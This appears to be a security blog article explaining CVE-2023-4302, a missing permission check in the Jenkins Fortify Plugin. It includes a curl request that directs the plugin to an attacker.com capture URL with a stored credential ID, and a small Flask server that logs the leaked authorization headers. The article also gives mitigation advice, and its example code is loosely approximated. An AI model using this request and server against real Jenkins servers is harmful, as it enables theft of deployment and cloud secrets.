CVE-2023-4302 - How a Missing Permission Check in Jenkins Fortify Plugin Exposes Your Credentials

Jenkins is a widely used automation server in software development. It manages building, testing, and deployment tasks with the help of plugins. But even the best tools have vulnerabilities, and when these go unnoticed in plugins, the risks multiply. CVE-2023-4302 is a striking example. A missing permission check in the Fortify Plugin for Jenkins opened the door for attackers to steal your sensitive credentials. This article dives deep into this CVE, explains how the vulnerability works, shows real code and exploitation steps, and gives you everything you need to stay protected.

What is the Jenkins Fortify Plugin?

Fortify helps developers scan and secure their code. The Jenkins Fortify Plugin connects Jenkins jobs to Fortify’s scanning tools. It can use stored credentials for authentication with Fortify servers. These credentials are securely stored in Jenkins, but improper permission checks can change that.

The Vulnerability Explained

CVE-2023-4302 is all about a missing permission check. The Fortify Plugin up to version 22.1.38 did NOT properly check if a user was allowed to access certain operations when working with credentials.

Who can exploit it?

Any Jenkins user with the Overall/Read permission (often considered “low privilege”) — a common permission in many setups.

What’s the risk?

An attacker can make the plugin send a request to any URL of their choosing using any Jenkins-stored credential whose ID they know (even if obtained in another way!). The attacker’s own server can log and steal the credentials.

Here’s the attack, step by step

1. Attacker gets Overall/Read permission (easy in many Jenkins setups).
2. Attacker finds or guesses credential IDs (Jenkins credential IDs can sometimes be enumerated or obtained through logs, old job configs, etc.).
3. Attacker triggers the Fortify Plugin, asking it to connect to a URL they control, and asks it to use the credential ID.

Example Exploit in Code

The Fortify Plugin’s credential check code path failed to restrict who can trigger sensitive actions.

Let’s walk through a simulated example, in which an attacker uses a crafted HTTP POST request to Jenkins (actual endpoint names may vary based on plugin version):

Step 1: Discover Credential IDs

Suppose you have found a credential ID like my-secret-credential.

Step 2: Send Crafty HTTP Request

curl -X POST \
  -u victim_user:victim_pass \
  -d 'fortify_url=http://attacker.com/capture'; \
  -d 'credentials_id=my-secret-credential' \
  http://jenkins.example.com/fortify/runScan

On the attacker's server (attacker.com), capture the Authorization header

# Simple Flask server to capture headers
from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def capture():
    print("Headers:", dict(request.headers))
    return 'Captured!', 200

if __name__ == "__main__":
    app.run(host='...', port=80)

When Jenkins connects, the authorization headers (or SSL client certs, or other secrets) are sent to the attacker!

Why Did This Happen? (The Code Issue)

In the plugin’s code, before accessing a credential, the plugin should check if the user has permission to use that credential (like Credentials/View).

A simplified buggy code pattern

// BAD: No permission check!
Secret creds = CredentialsProvider.findCredentialById(credentialsId, ...);

The right way

// GOOD: Check for permission!
if (!user.hasPermission(CredentialsProvider.USE_ITEM)) {
    throw new AccessDeniedException("No access");
}
Secret creds = CredentialsProvider.findCredentialById(credentialsId, ...);

Official References

- Jenkins Security Advisory for Fortify Plugin CVE-2023-4302
- Jenkins Plugins: Fortify
- NVD Entry for CVE-2023-4302

How to Mitigate

1. Update Jenkins Fortify Plugin to the LATEST version. Get current.
2. Restrict Overall/Read permission — give it to trusted users only.

Conclusion

CVE-2023-4302 reminds us that small permission bugs can lead to big breaches. With just a little read access, attackers might steal all your deployment, cloud, or repository secrets. Stay safe by patching your plugins, limiting permissions, and auditing your credentials.

Timeline

Published on: 08/21/2023 23:15:00 UTC
Last modified on: 08/24/2023 21:36:00 UTC